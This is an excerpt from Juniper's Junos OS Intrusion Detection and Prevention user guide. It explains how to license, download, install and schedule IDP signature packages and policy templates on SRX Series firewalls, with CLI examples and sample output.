

Junos® OS

Intrusion Detection and Prevention User Guide





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About This Guide

Use this guide to configure and operate IPS in Junos OS on the SRX Series Firewalls to monitor the events occurring in your network. You can selectively enforce various attack detection and prevention techniques on the network traffic passing through the SRX Series Firewall.



Overview

IN THIS CHAPTER

Intrusion Detection And Prevention Overview | 2

Intrusion Detection And Prevention Overview

SUMMARY

The Juniper Networks IDP system enhances network security by detecting and preventing threats. It monitors traffic for malicious activity, uses a signature database to identify attacks, and applies security policies for real-time mitigation. This system provides proactive threat detection and response.

IN THIS SECTION

- Benefits | 2
- IDP Workflow | 3
- How IDP Works? | 4

Intrusion detection is the process of monitoring the events occurring in your network and analyzing the events for signs of possible incidents, violations, or imminent threats to your security policies. Intrusion prevention is the process of performing intrusion detection and then stopping the detected incidents. The security measures are IDS and IPS, which become part of your network to detect and stop potential incidents.

Benefits

By leveraging Intrusion Detection and Prevention (IDP), you can significantly enhance your network's security posture, protecting against a wide range of known and emerging threats. The following are some of the benefits:

- Proactive Threat Prevention—Prevents attacks from causing damage.
- Network Visibility—Provides insights into potential security issues.
- Customizable Protection—Allows tailoring of security policies to specific network needs.
- Compliance Support—Helps meet regulatory requirements for network security.
- Automated Response and Remediation—The IDP system can automatically respond to detected threats by:
 - Blocking malicious traffic
 - Quarantining affected firewalls
 - Alerting administrators

This action helps minimize the impact of security incidents.

IDP Workflow

The IDP system inspects traffic to detect and mitigate threats. The traffic inspection engine analyzes packets using signature-based detection, protocol anomaly detection, and behavioral analysis. If a threat is found, a decision is taken at the policy enforcement and actions stage whether to block, alert, or log the activity. The events are logged and reported back to the administrators for further analysis. Threat intelligence and updates continuously improves detection by adding new threat data and ensures real-time protection against evolving cyberthreats.

Figure 1: Workflow Components




Table 1: IDP Workflow on page 3 lists the details of the IDP workflow.

Table 1: IDP Workflow

Component	Description
Traffic Inspection Engine (Or IDP Inspection Process)	Examines packets for potential security risks (matches known attack patterns).
Detection Mechanisms	Signature-based detection, Protocol anomaly detection (identifies deviations from expected network behavior), and Behavioral analysis (detects unusual patterns based on historical data).
Policy Enforcement and Actions	Once a threat is identified, the system enforces policies and decides whether to block, alert, or log the activity.

Table 1: IDP Workflow (Continued)

Component	Description
Logging and Reporting	Detected events are logged or reported. Administrators analyze and respond
Threat Intelligence and Updates	Continuously feed new threat data into the system. See Adaptive Threat Profiling.

How IDP Works?

An IDP policy lets you selectively enforce various attack detection and prevention techniques on the network traffic passing through your SRX Series Firewall. SRX Series Firewalls offer the same set of IDP signatures that are available on Juniper Networks IDP Series IDP Appliances to secure networks against attacks.

To download and configure initial IDP functionality on SRX Series Firewalls, see "IDP Basic Configuration" on page 6.

RELATED DOCUMENTATION

IDP Policies Overview



Getting Started

IN THIS CHAPTER

- IDP Basic Configuration | 6
- Predefined IDP Policy Templates | 14

IDP Basic Configuration

SUMMARY

This topic provides details enabling IDP on SRX Series Firewalls. Key steps include obtaining licenses, downloading signature updates, and applying predefined policies. It also highlights integrating IDP with security policies for effective traffic inspection and threat prevention.

IN THIS SECTION

- Download and Install IDP Licenses | 7
- Verify Network Access | 7
- Download IDP Signature Package | 7
- Install IDP Signature Package | 8
- IDP Policy Templates | 9
- Apply the Recommended IDP Policy | 10
- Deactivate the Commit Script File | 11
- Enable IDP in a Security Policy | 12

Juniper Networks periodically provides a file containing attack database updates on website. You can download this file to protect your network from new threats. The security package, which you can download from Juniper Networks, also includes IDP policy templates to help you implement IDP policy on SRX Firewalls.

The procedures in this topic show you how to download and configure initial IDP functionality on your firewall.

Ensure to perform the following steps before you configure IDP functionality on an SRX Series Firewall:

- Download and Install the licenses.
- Verify the network access to your firewall.
- Download and install IDP signature package (also referred as security package or attack objects).
- Download policy templates (optional).
- Configure recommended policy as the IDP policy (optional).
- Enable IDP inspection in a security policy.

Download and Install IDP Licenses

Juniper Networks maintain a database of attack signatures for use with the IDP feature. You need a valid license to retrieve updates for downloading and installing daily signature database updates provided by Juniper Networks. The IDP signature license key does not provide grace period support.

For license details, see Junos OS Feature License Keys.

Verify Network Access

You must connect the SRX Series Firewalls to the Internet to update a device directly.

Use the following operational mode command to check the server connection from SRX Series Firewalls.

user@host> request security idp security-package download check-server

Successfully retrieved from(https://signatures.juniper.net/cgi-bin/index.cgi). Version info:3222(Detector=12.6.180190722, Templates=3222)

This command verifies network connectivity and provides the remote database version. Comparing this version with the previous command output is useful for identifying differences.

Download IDP Signature Package

You can download the Juniper Networks security package manually or automatically at specified time intervals. The following steps illustrate the operational mode commands to download the security package and check the status of the download.

1. Download the security package.

user@host> request security idp security-package download

Will be processed in async mode. Check the status using the status checking CLI

Downloading the database might take some time depending on the database size and the speed of your Internet connection.

2. Check the security package download status.

```
\verb|user@host| > \textbf{request security idp security-package download status}|
```

```
Done; Successfully downloaded from (https://signatures.juniper.net/cgi-bin/index.cgi). Version info:3222(Tue Nov 5 14:09:35 2019 UTC, Detector=12.6.180190722)
```

Install IDP Signature Package

Once you complete the download of IDP signature package, you must install the IDP signature package before they are actually used in a policy. If you already have a policy configured, you do not need to recommit the policy—installing the updates adds them to the existing policy.

1. Install the security package.

```
user@host-1> request security idp security-package install
```

```
Will be processed in async mode. Check the status using the status checking CLI
```

Installing the attack database might take some time depending on the security package size.

2. Check the attack database install status.

The command output displays information about the downloaded and installed versions of the attack database.

```
user@host-1> request security idp security-package install status
```

```
Done;Attack DB update : successful - [UpdateNumber=3222,ExportDate=Tue Nov 5 14:09:35 2019 UTC,Detector=12.6.180190722]

Updating control-plane with new detector : successful

Updating data-plane with new attack or detector : successful
```

The system displays following message if no active IDP policies are configured on the devices.

```
Done;Attack DB update : successful - [UpdateNumber=3222,ExportDate=Tue Nov 5 14:09:35 2019 UTC,Detector=12.6.180190722]

Updating control-plane with new detector : successful

Updating data-plane with new attack or detector : not performed due to no active policy configured.
```

IDP Policy Templates

The IDP signature package download includes various policy templates. After you install the templates, you can use the predefined template policies, or you can customize them for your network environment.

Use the following steps to download and install the latest policy templates provided by Juniper Networks.

1. Download the predefined IDP policy templates.

```
user@host-1> request security idp security-package download policy-templates
```

Will be processed in async mode. Check the status using the status checking CLI

2. Check the security package download status.

```
user@host-1> request security idp security-package download status
```

```
Done; Successfully downloaded from (https://signatures.juniper.net/cgi-bin/index.cgi). Version info:3222
```

3. Install the IDP policy templates.

```
user@host-1> request security idp security-package install policy-templates
```

Will be processed in async mode. Check the status using the status checking CLI

4. Verify the installation status update.

```
user@host-1> request security idp security-package install status

Done;policy-templates has been successfully updated into internal repository
    (=>/var/run/scripts/commit/templates.xsl)!
```

Apply the Recommended IDP Policy

The Junos OS downloads the policy templates in the form of a commit script. Once you download and install the policy templates, you must activate the template commit script with the configuration mode commands with the following steps:

1. Enable the templates.xsl scripts file.

```
[edit]
user@host-1# set system scripts commit file templates.xsl
```

The downloaded templates are saved to the Junos OS configuration database, and they are available in the CLI at the [edit security idp idp-policy] hierarchy level.

2. You must commit the configuration to activate a commit script.

```
[edit]
user@host-1# commit
```

3. Display the list of downloaded templates.

```
[edit]
user@host-1# set security idp default-policy ?
```

```
Possible completions:

<default-policy> Set active policy
Client-And-Server-Protection
Client-And-Server-Protection-1G
```

```
Client-Protection
Client-Protection-1G
DMZ_Services
DNS_Service
File_Server
Getting_Started
IDP_Default
Recommended
Server-Protection
```

Server-Protection-1G

Web_Server

4. Activate the predefined policy as the active policy. In this example, you use Recommended policy as active policy.

```
[edit]
user@host-1# set security idp default-policy Recommended
```

The IDP signature database offers templates for various network scenarios. See Predefined IDP Policy Templates.

5. Confirm the active policy enabled on your device.

```
[edit]
user@host-1# show security idp default-policy

default-policy Recommended;
```

Deactivate the Commit Script File

We recommend you to delete or deactivate the commit script file. By deleting or deactivating the commit script file, you can avoid the risk of overwriting modifications to the predefined policies (created using the templates) when you commit the configuration.

Use the following command to delete or deactivate the commit script file:

```
user@host# delete system scripts commit file templates.xsl
user@host# deactivate system scripts commit file templates.xsl
```

Enable IDP in a Security Policy

The final step to activate the recommended IDP policy is to apply the IDP action to a security policy.

1. Enable the security policy for IDP inspection.

```
[edit]
user@host-1# set security policies from-zone untrust to-zone trust policy policy-1 match
source-address any
user@host-1# set security policies from-zone untrust to-zone trust policy policy-1 match
destination-address any
user@host-1# set security policies from-zone untrust to-zone trust policy policy-1 match
application any
user@host-1# set security policies from-zone untrust to-zone trust policy policy-1 match
dynamic-application junos:YAHOO-MAIL
user@host-1# set security policies from-zone untrust to-zone trust policy policy-1 match
dynamic-application junos:FACEBOOK-ACCESS
user@host-1# set security policies from-zone untrust to-zone trust policy policy-1then permit
application-services idp-policy Recommended
```

- **2.** Commit the changes once you are done with configuration.
- **3.** Verify the IDP configuration in security policy using the show security policies policy-name idp-policy-1 detail command.

```
user@host> show security policies policy-name policy-1 detail

Policy: p1, action-type: permit, State: enabled, Index: 4, Scope Policy: 0

Policy Type: Configured

Sequence number: 1

From zone: untrust, To zone: trust

Source vrf group:

any

Destination vrf group:

any
```

```
Source addresses:
  any-ipv4(global): 0.0.0.0/0
  any-ipv6(global): ::/0
Destination addresses:
  any-ipv4(global): 0.0.0.0/0
  any-ipv6(global): ::/0
Application: any
  IP protocol: 0, ALG: 0, Inactivity timeout: 0
    Source port range: [0-0]
    Destination ports: [0-0]
Dynamic Application:
  junos:FACEBOOK-ACCESS: 244
  junos:YAHOO-MAIL: 236
  Per policy TCP Options: SYN check: No, SEQ check: No, Window scale: No
Intrusion Detection and Prevention: enabled
Unified Access Control: disabled
```

The sample output confirms that you have enabled IDP for the security policy.

You can proceed with configuring other IDP policies. See Example: Configuring Multiple IDP Policies and a Default IDP Policy for Unified Security Policies.

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IDP Policies | 43

Predefined IDP Policy Templates | 14

Attack Objects and Object Groups for IDP Policies | 101

Applications and Application Sets | 197

Predefined IDP Policy Templates

SUMMARY

This topic provides detailed guidance on Predefined IDP policy templates while configuring and using IDP policies within Junos OS. It includes instructions for creating, customizing, and managing policy templates to protect network infrastructure from various security threats by identifying and mitigating malicious traffic.

IN THIS SECTION

- Understand Policy Templates | 14
- Download and Use Predefined IDP Policy
 Templates (CLI Procedure) | 16

You can use the predefined policy templates as a starting point for creating your own policies. The templates help administrators to efficiently apply security best practices without manually defining every rule, reducing setup time and minimizing human error. Each template is set of rules of a specific rulebase type that you can copy and then update according to your requirements.

Understand Policy Templates

Predefined policy templates are available in the templates.xls file on a secured Juniper Networks website. To start using a template, you run a command from the CLI to download and copy this file to a /var/db/scripts/commit directory.

Each policy template contains rules that use the default actions associated with the attack objects. You should customize these templates to work on your network by selecting your own source and destination addresses and choosing IDP actions that reflect your security needs. The client/server templates are designed for ease of use and provide balanced performance and coverage. The client/server templates include client protection, server protection, and client/server protection.

Each of the client/server templates has two versions that are device specific, a 1-gigabyte (GB) version and a 2-GB version. The 1-gigabyte versions labeled *1G* should only be used for SRX Series Firewalls that are limited to 1 GB of memory. If a 1-GB SRX Series Firewall loads anything other than a 1-GB policy, you might observe policy compilation errors due to limited memory or limited coverage. If a 2-GB device loads anything other than a 2-GB policy, the device might experience limited coverage.

Use these templates as a guideline for creating policies. We recommend that you make a copy of these templates and use the copy (not the original) for the policy. This approach allows you to make changes to the policy and to avoid future issues due to changes in the policy templates.

Table 2 on page 15 summarizes the predefined IDP policy templates provided by Juniper Networks.

Table 2: Predefined IDP Policy Templates

Template Name	Description
Client-And-Server- Protection	Designed to protect both clients and servers. To be used on high memory devices with 2 GB or more of memory.
Client-And-Server- Protection-1G	Designed to protect both clients and servers. To be used on all devices, including low-memory branch devices.
Client-Protection	Designed to protect clients. To be used on high memory devices with 2 GB or more of memory.
Client-Protection-1G	Designed to protect clients. To be used on all devices, including low-memory branch devices.
DMZ Services	Protects a typical demilitarized zone (DMZ) environment.
DNS Server	Protects Domain Name System (DNS) services.
File Server	Protects file sharing services, such as Network File System (NFS), FTP, and others.
Getting Started	Contains very open rules. Useful in controlled lab environments, but should not be deployed on heavy traffic live networks.
IDP Default	Contains a good blend of security and performance.
Recommended	Contains only the attack objects tagged as <i>recommended</i> by Juniper Networks. All rules have their Actions column set to take the recommended action for each attack object.
Server-Protection	Designed to protect servers. To be used on high memory devices with 2 GB or more of memory.
Server-Protection-1G	Designed to protect servers. To be used on all devices, including low-memory branch devices.

Table 2: Predefined IDP Policy Templates (Continued)

Template Name	Description
Web Server	Protects HTTP servers from remote attacks.

To use predefined policy templates:

- Download the policy templates from the Juniper Networks website https://signatures.juniper.net/cgibin/index.cgi.
- 2. Install the policy templates.
- **3.** Enable the templates.xls script file. Commit scripts in the /var/db/scripts/commit directory are ignored if they are not enabled.
- 4. Choose a policy template that is appropriate for you and customize it if you need to.
- 5. Activate the policy that you want to run on the system. Activating the policy might take a few minutes. Even after a commit complete message is displayed in the CLI, the system might continue to compile and push the policy to the data plane.
 - Occasionally, the compilation process might fail for a policy. In this case, the active policy showing in your configuration might not match the actual policy running on your device. Run the show security idp status command to verify the running policy. Additionally, you can view the IDP log files to verify the policy load and compilation status.
- **6.** Delete or deactivate the commit script file. By deleting the commit script file, you avoid the risk of overwriting modifications to the template when you commit the configuration. Deactivating the statement adds an inactive tag to the statement, effectively commenting out the statement from the configuration. Statements marked inactive do not take effect when you issue the commit command.

For more information, see https://kb.juniper.net/InfoCenter/index?page=content&id=KB16490.

Download and Use Predefined IDP Policy Templates (CLI Procedure)

Before you begin, configure network interfaces. See the *Junos OS Interfaces Configuration Guide for Security Devices*.

To download and use a predefined policy template:

1. Download the script file **templates.xsl** to the **/var/db/idpd/sec-download/sub-download** directory. This script file contains predefined IDP policy templates.

```
user@host> request security idp security-package download policy-templates
```

2. Copy the **templates.xls** file to the **/var/db/scripts/commit** directory and rename it to **templates.xsl**. Run the following command to install the policy templates.

```
user@host> request security idp security-package install policy-templates
```

3. Enable the **templates.xsl** script. At commit time, the Junos OS management process (mgd) checks the **/var/db/scripts/commit** directory for commit scripts and runs them against the candidate configuration to enforce the defined rules.

```
user@host# set system scripts commit file templates.xsl
```

- **4.** Commit the configuration. Committing the configuration saves the downloaded templates to the Junos OS configuration database and makes them available in the CLI at the [edit security idp idp-policy] hierarchy level.
- **5.** View the list of downloaded templates.

```
user@host#set security idp active-policy ?

Possible completions:
    <active policy> Set active policy
    DMZ_Services
    DNS_Service
    File_Server
    Getting_Started
    IDP_Default
    Recommended
    Web_Server
```

6. Activate the predefined policy. The following statement specifies the *Recommended* predefined IDP policy as the active policy:

```
user@host# set security idp active-policy Recommended
```

7. Delete or deactivate the commit script file. By deleting the commit script file, you avoid the risk of overwriting modifications to the template when you commit the configuration. Run one of the following commands:

user@host# delete system scripts commit file templates.xsl
user@host# deactivate system scripts commit file templates.xsl

- **8.** If you are finished configuring the device, commit the configuration.
- **9.** You can verify the configuration by using the show security idp status command. For more information, see the *Junos OS CLI Reference*.

RELATED DOCUMENTATION

IDP Application Identification | 401



Signature Database

IN THIS CHAPTER

- IDP Signature Database | 20
- Update IDP Signature Database | 31
- Snort IPS Signatures | 40

IDP Signature Database

SUMMARY

Signature-based IDP monitors packets in the network and compares with preconfigured and predetermined attack patterns known as signatures.

IN THIS SECTION

- Junos OS IDP Signature Package through an Explicit Proxy Server | 21
- Example: Download the Junos OS IDP
 Signature Package through an Explicit Proxy
 Server | 22
- Example: Download and Install the IDP
 Security Packages in Chassis Cluster
 Mode | 26
- IDP Signature Database Version | 29
- Verify the IDP Signature DatabaseVersion | 29

The Intrusion Detection and Prevention (IDP) system's signature database management is crucial for maintaining robust network security. By enabling the download and installation of regular updates, you ensure that your network is protected against the latest threats. You can configure custom attack objects and groups to tailor security measures to your specific needs, enhancing the flexibility and effectiveness of the system. Basic IDP functionality is enabled by default without requiring a license, but to receive daily updates, the installation of an IDP signature-database-update license key is necessary. This ensures continuous protection by keeping the attack database current with emerging vulnerabilities. For license details, see Junos OS Feature License Keys.

You can perform the following tasks to manage the IDP signature database:

- **1.** Update the signature database by downloading attack database updates from the Juniper Networks website. New attacks emerge daily, so keep your database current.
- **2.** Verify the signature database version using the CLI, as each version has a unique number, with the latest being the highest.
- **3.** Update the protocol detector engine alongside the signature database. The IDP protocol detector includes Application Layer protocol decoders and updates with the IDP policy. It's necessary for policy updates, even if unchanged.
- **4.** Schedule automatic updates for the signature database on the IDP-enabled device at set intervals.

Benefits of IDP Signature Database Management

- Ensures up-to-date protection against emerging threats by allowing regular downloads of the latest signature updates.
- Provides flexibility in defining specific security parameters by allowing you to create custom attack objects and groups tailored to individual network environments.

Junos OS IDP Signature Package through an Explicit Proxy Server

SUMMARY

Juniper Networks regularly updates the predefined attack database and makes it available as a security package on the Juniper Networks website https://signatures.juniper.net/cgi-bin/index.cgi. This database includes attack object and attack object groups that you can use in IDP policies to match traffic against known attacks.

You need to create a proxy profile and use it for downloading the IDP signature package through an explicit proxy server:

- Configure the proxy profile option of security package download to connect to the external server through a specified proxy server. The proxy profile is configured under [edit services proxy] hierarchy. You can configure more than one proxy profile. IDP can utilize only one proxy profile. Multiple proxy profiles are not supported for use under IDP simultaneously.
- Deploy a web proxy server on your device for HTTP(S) outbound session access and authentication.
 The IDP web proxy server support depends on the system-level proxy profile configuration.
 Configure a proxy profile with the proxy server's host and port details to use it for downloading, and apply the profile in the [security idp security-package] hierarchy.

When a proxy profile is applied under [security idp security-package] hierarchy, the idpd process connects to the proxy host instead of the signature pack download server. The proxy host then communicates with the download server and provides the response back to the idpd process. The idpd process receives a notification whenever changes occur at the [edit services proxy] hierarchy.

Once the security package installation is complete, all the downloaded and installed IDP attack objects and attack groups are available to be configured in an IDP policy or policies. These attack objects and attack object are then utilized in the security rules under the set security policies from-zone zone-name to-zone zone-name policy policy-name then permit application-services idp-policy *idp-policy-name* hierarchy.

You create a policy and specify the new policy as the active policy. You can download only the updates that Juniper Networks has recently uploaded and then update the attack database, the running policy, and the detector with these updates.

You can disable the proxy server for IDP signature download using the delete security idp security-package proxy-profile proxy-profile

Example: Download the Junos OS IDP Signature Package through an Explicit Proxy Server

IN THIS SECTION

- Overview | 22
- Requirements | 23
- CLI Quick Configuration | 23
- Verification | 24
- Verify IDP Signature Download through Proxy Server | 24
- Verify IDP Signature Download Status | 25

In this example, the SRX Series Firewall downloads and installs the IDP security package, with the complete table of attack objects and attack object groups that is available on an external server, utilizing the proxy profile configured.

Overview

To download the IDP signature package using a proxy server, you need to configure proxy profile for HTTP connections.

Table 3 on page 23 provides the details of the parameters used in this example.

Table 3: Proxy Profile Configuration Parameters

Parameter	Name
Profile Name	test_idp_proxy1
IP address of the proxy server	10.255.255.254
Port number of the proxy server	3128

Requirements

This example uses the following hardware and software components:

• This configuration example is tested on SRX Series Firewall with Junos OS Release 18.3R1 or later.

CLI Quick Configuration

To quickly configure this example, copy the following commands, paste them into a text file, remove any line breaks, change any details necessary to match your network configuration, copy and paste the commands into the CLI at the edit hierarchy, and then enter **commit** from configuration mode.

```
set services proxy profile test_idp_proxy1 protocol http
set services proxy profile test_idp_proxy1 protocol http host 10.255.255.254
set services proxy profile test_idp_proxy1 protocol http port 3128
set security idp security-package proxy-profile test_idp_proxy1
request security idp security-package download full-update
```

Step-by-Step Procedure

To create a proxy profile and to download the IDP signature package through the proxy server:

1. Specify the proxy host IP address.

```
[edit]
user@host# set services proxy profile test_idp_proxy1 protocol http host 10.255.255.254
```

2. Specify the port number used by the proxy server.

```
[edit]
user@host# set services proxy profile test_idp_proxy1 protocol http port 3128
```

3. Specify the proxy profile that has to be referred for the security package download.

```
[edit]
user@host# set security idp security-package proxy-profile test_idp_proxy1
```

4. Commit the configuration.

```
[edit]
user@host# commit
```

5. Switch to operational mode.

```
[edit]
user@host# exit
```

6. Download the IDP security package.

```
user@host> request security idp security-package download full-update
```

The option to perform an offline IDP signature package download and install from the Juniper website is still available. To download and install the IDP signature package offline, run the request security idp security-package offline-download CLI command. The installation process remains the same for both download commands.

Verification

Verify IDP Signature Download through Proxy Server

Purpose

Display the details for the IDP signature package download through a proxy server.

Action

From operational mode, enter the show security idp security-package proxy-profile command to view IDP specific proxy details.

```
Proxy details :
Security package proxy profile name :test_idp_proxy1
Protocol used :HTTP
Ip address of proxy server :10.255.255.254
Port of proxy server :3128
```

Meaning

In the output, you can find the IDP specific proxy profile details in Proxy Profile and Proxy Address fields.

Verify IDP Signature Download Status

Purpose

Check the IDP signature package download status.

Action

Check the security package download status.

From operational mode, enter the request security idp security-package download status command.

```
user@host> request security idp security-package download status
```

```
Done; Successfully downloaded from(https://signatures.juniper.net/cgi-bin/index.cgi).
Version info:3083(Tue Jul 17 13:23:36 2018 UTC, Detector=12.6.130180509)
```

Meaning

The output displays the IDP signature package download status.

Example: Download and Install the IDP Security Packages in Chassis Cluster Mode

IN THIS SECTION

- Requirements | 26
- Overview | 26

This example shows how to download and install the IDP signature database to a device operating in chassis cluster mode.

Requirements

Before you begin, set the chassis cluster node ID and cluster ID. See *Example: Setting the Node ID and Cluster ID for Security Devices in a Chassis Cluster*.

Overview

IN THIS SECTION

• Procedure | 27

When you download the IDP security package on a device operating in chassis cluster mode, the security package is downloaded to the primary node and then synchronized to the secondary node. This synchronization helps maintain the same version of the security package on both the primary node and the secondary node. See "IDP Signature Database" on page 20.

On SRX Series Firewalls, if your device memory utilization is high on the control plane, loading a large IDP policy might cause the device to run out of memory. This can trigger a system reboot during the IDP security package update.

Procedure

Step-by-Step Procedure

The following example requires you to navigate various levels in the configuration hierarchy. For instructions on how to do that, see *Using the CLI Editor in Configuration Mode* in the CLI User Guide.

1. Specify the URL for the security package.

```
[edit]
user@host# set security idp security-package url https://signatures.juniper.net/cgi-bin/
index.cgi
```

2. Switch to operational mode.

```
[edit]
user@host# exit
```

3. Download the IDP security package to the primary node (downloads in the *var/db/idpd/sec-download* folder.

```
{primary:node0}[edit]
user@host> request security idp security-package download
```

The following message is displayed.

4. Check the security package download status.

```
{primary:node0}[edit]
user@host> request security idp security-package download status
```

On a successful download, the following message is displayed.

```
node0:
-----
Done;Successfully downloaded from (https://signatures.juniper.net/cgi-bin/index.cgi)
and synchronized to backup.
Version info:1871(Mon Mar 7 09:05:30 2011, Detector=11.4.140110223)
```

5. Update the attack database using the install command.

```
user@host> request security idp security-package install
```

6. Check the attack database update status. The command output displays information about the downloaded and installed versions of the attack database.

```
{primary:node0}[edit]
user@host> request security idp security-package install status
```

```
node0:

Done;Attack DB update : successful - [UpdateNumber=2011,ExportDate=Mon Oct 17 15:13:06 2011,Detector=11.6.140110920]

Updating control-plane with new detector : successful

Updating data-plane with new attack or detector : not performed due to no existing running policy found.

node1:

Done;Attack DB update : successful - [UpdateNumber=2011,ExportDate=Mon Oct 17 15:13:06 2011,Detector=11.6.140110920]

Updating control-plane with new detector : successful

Updating data-plane with new attack or detector : not performed due to no existing running policy found.
```

You must download the IDP signature package into the primary node. This way, the security package is synchronized on the secondary node.

IDP Signature Database Version

New attack objects are added to the signature database server frequently; downloading these updates and installing them on your managed devices regularly ensures that your network is effectively protected against the latest threats. As new attack objects are added to the signature database server, the version number of the database is updated with the latest database version number. Each signature database has a different version number with the latest database having the highest number.

When updating the signature database, the signature database update client connects to the Juniper Networks website and obtains the update using an HTTPS connection. The update calculates the difference between the existing and latest signature databases using their version number. After you download the updates, the updated information is merged with the existing signature database and the version number is set to that of the latest signature database.

SEE ALSO

Predefined IDP Attack Objects and Object Groups | 105

Verify the IDP Signature Database Version

IN THIS SECTION

- Purpose | 29
- Action | 30
- Meaning | 30

Purpose

Display the signature database version.

Action

From the operational mode in the CLI, enter show security idp security-package-version.

user@host> show security idp security-package-version

Attack database version:31(Wed Apr 16 15:53:46 2008)

Detector version :9.1.140080400 Policy template version :N/A

Meaning

The output displays the version numbers for the signature database, protocol detector, and the policy template on the IDP-enabled device. Verify the following information:

- Attack database version—On April 16, 2008, the version of the signature database active on the device is 31.
- Detector version—Displays the version number of the IDP protocol detector currently running on the device.
- Policy template version—Displays the version of the policy template that is installed in the /var/db/ scripts/commit directory when you run the request security idp security-package install policy-templates configuration statement in the CLI.

For a complete description of output, see the show security idp security-package-version description.

SEE ALSO

Verify the IDP Policy Compilation and Load Status | 61

Change History Table

Feature support is determined by the platform and release you are using. Use Feature Explorer to determine if a feature is supported on your platform.

Release	Description
18.2R1	You can download IDP security package through an explicit proxy server. To download the IDP security package that hosts on an external server, you need to configure a proxy profile and use the proxy host and port details that are configured in the proxy profile. This feature allows you to use a deployed Web proxy server on your device for access and authentication for HTTP(S) outbound sessions for your overall security solution.

Update IDP Signature Database

SUMMARY

Juniper Networks regularly updates the predefined attack database and makes it available on the Juniper Networks website. This database includes attack object groups that you can use in IDP policies to match traffic against known attacks. Although you cannot create, edit, or delete predefined attack objects, you can use the CLI to update the list of attack objects that you can use in IDP policies.

IN THIS SECTION

- Example: Update the Signature DatabaseAutomatically | 32
- Example: Update the IDP Signature Database
 Manually | 34

To update the signature database, you download a security package from the Juniper Networks website or through an explicit Web proxy server. The security package consists of the following IDP components:

Table 4: IDP Components

Components	Description
Attack Objects	Individual signatures that detect specific attack patterns.
Attack Object Groups	Collections of related attack objects grouped for easier policy management.
Application Objects	Specific applications used for traffic inspection and policy enforcement.
IDP Detector Engine Updates	Enhancements that improve signature detection and accuracy.
IDP Policy Templates	Predefined rule sets for quick policy configuration. See "Understanding Predefined IDP Policy Templates" on page 14

By default, downloading the security package includes components in a Staging folder on your device:

- Latest version of the complete attack object groups table
- Application objects table
- Updates to the IDP Detector Engine

The system downloads only updates to the attack objects table due to its large size, but you can use the full-update configuration option to download the complete table. After downloading, install the package

to update the security database with the new updates. Committing the configuration after installation checks all policies for syntax, similar to a commit check.

If an attack in any policy is removed from the new signature database, the commit check fails. Updating the IDP signature database does not automatically update attacks in policies. For example, if you configure a policy with attack FTP:USER:R00T in version 1200 and download version 1201 without it, the commit check fails. Remove the missing attack from your policy to commit successfully. IDP signature updates might fail if a new IDP policy load fails, causing the system to load the last known good policy. Updates will work once the issue is resolved and a valid policy is active.

Example: Update the Signature Database Automatically

IN THIS SECTION

- Requirements | 32
- Overview | 32
- Configuration | 33
- Verification | 34

This example shows how to download signature database updates automatically.

Requirements

Before you begin, configure network interfaces.

Overview

You can configure your device to automatically download the signature database updates at specified intervals.

In this example, you download the security package with the complete table of attack objects and attack object groups every 48 hours, starting at 11:59 p.m. on December 10. You also enable an automatic download and update of the security package.

Configuration

IN THIS SECTION

• Procedure | 33

Procedure

Step-by-Step Procedure

To download and update the predefined attack objects:

1. Specify the URL for the security package.

```
[edit]
user@host# set security idp security-package url https://signatures.juniper.net/cgi-bin/
index.cgi
```

By default, the URL is https://signatures.juniper.net/cgi-bin/index.cgi.

2. Specify the time and interval value for the download.

```
[edit]
user@host# set security idp security-package automatic interval 48 start-time
2009-12-10.23:59:00
```

3. Enable the automatic download and update of the security package.

```
[edit]
user@host# set security idp security-package automatic enable
```

4. If you are done configuring the device, commit the configuration.

```
[edit]
user@host# commit
```

Verification

IN THIS SECTION

Verify the IDP Signature Database | 34

To confirm that the configuration is working properly, perform this task:

Verify the IDP Signature Database

Purpose

Display the IDP signature database.

Action

From operational mode, enter the show security idp command.

Example: Update the IDP Signature Database Manually

IN THIS SECTION

- Requirements | 35
- Overview | 35
- Configuration | 35
- Verification | 39

After downloading the security package, you must install the package to update the security database with the newly downloaded updates from the Staging folder in your device.

This example shows how to update the IDP signature database manually.

Requirements

Before you begin, configure network interfaces.

Overview

In this example, you download the security package with the complete table of attack objects and attack object groups. Once the installation is completed, the attack objects and attack object groups are available in the CLI under the predefined-attack-groups and predefined-attacks configuration statements at the [edit security idp idp-policy] hierarchy level. You create a policy and specify the new policy as the active policy. You also download only the updates that Juniper Networks has recently uploaded and then update the attack database, the running policy, and the detector with these new updates.

Configuration

IN THIS SECTION

Procedure | 35

Procedure

CLI Quick Configuration

CLI quick configuration is not available for this example because manual intervention is required during the configuration.

Step-by-Step Procedure

The following example requires you to navigate various levels in the configuration hierarchy. For instructions on how to do that, see *Using the CLI Editor in Configuration Mode* in the CLI User Guide.

To manually download and update the signature database:

1. Specify the URL for the security package.

```
[edit]
user@host#set security idp security-package url https://signatures.juniper.net/cgi-bin/
index.cgi
```

The default URL is https://signatures.juniper.net/cgi-bin/index.cgi.

2. Commit the configuration.

[edit]
user@host# commit

3. Switch to operational mode.

[edit]
user@host# exit

4. Download the security package.

user@host>request security idp security-package download full-update

You can perform an offline signature package download on your device. You can download the signature package and copy the package to any common location in the device and download the package offline using the request security idp security-package offline-download command.

The signature package installation remains the same and will be a full-update always.

5. Check the security package download status.

user@host>request security idp security-package download status

6. Update the attack database using the install command.

user@host>request security idp security-package install

7. Check the attack database update status with the following command (the command output displays information about the downloaded and installed versions of the attack database versions):

user@host>request security idp security-package install status

8. Switch to configuration mode.

user@host>configure

9. Create an IDP policy.

```
[edit ]
user@host#edit security idp idp-policy policy1
```

10. Associate attack objects or attack object groups with the policy.

```
[edit security idp idp-policy policy1]
user@host#set rulebase-ips rule rule1 match attacks predefined-attack-groups
"Response_Critical"
```

11. Set if an action is required on the rule.

```
[edit security idp idp-policy policy1]
user@host#set rulebase-ips rule rule1 then action no-action
```

12. Activate the policy.

```
[edit]
user@host#set security idp active-policy policy1
```

13. Commit the configuration.

```
[edit]
user@host# commit
```

14. After a week, download only the updates that Juniper Networks has recently uploaded.

```
\verb|user@host>| \textbf{request security idp security-package download}|\\
```

15. Check the security package download status.

user@host>request security idp security-package download status

16. Update the attack database, the active policy, and the detector with the new changes.

```
user@host>request security idp security-package install
```

17. Check the attack database, the active policy and the detector using install status.

```
user@host>request security idp security-package install status
```

It is possible that an attack might be removed from the new version of an attack database. If this attack is used in an existing policy on your device, the installation of the new database will fail. An installation status message identifies the attack that is no longer valid. To update the database successfully, remove all references to the deleted attack from your existing policies and groups, and rerun the install command.

Results

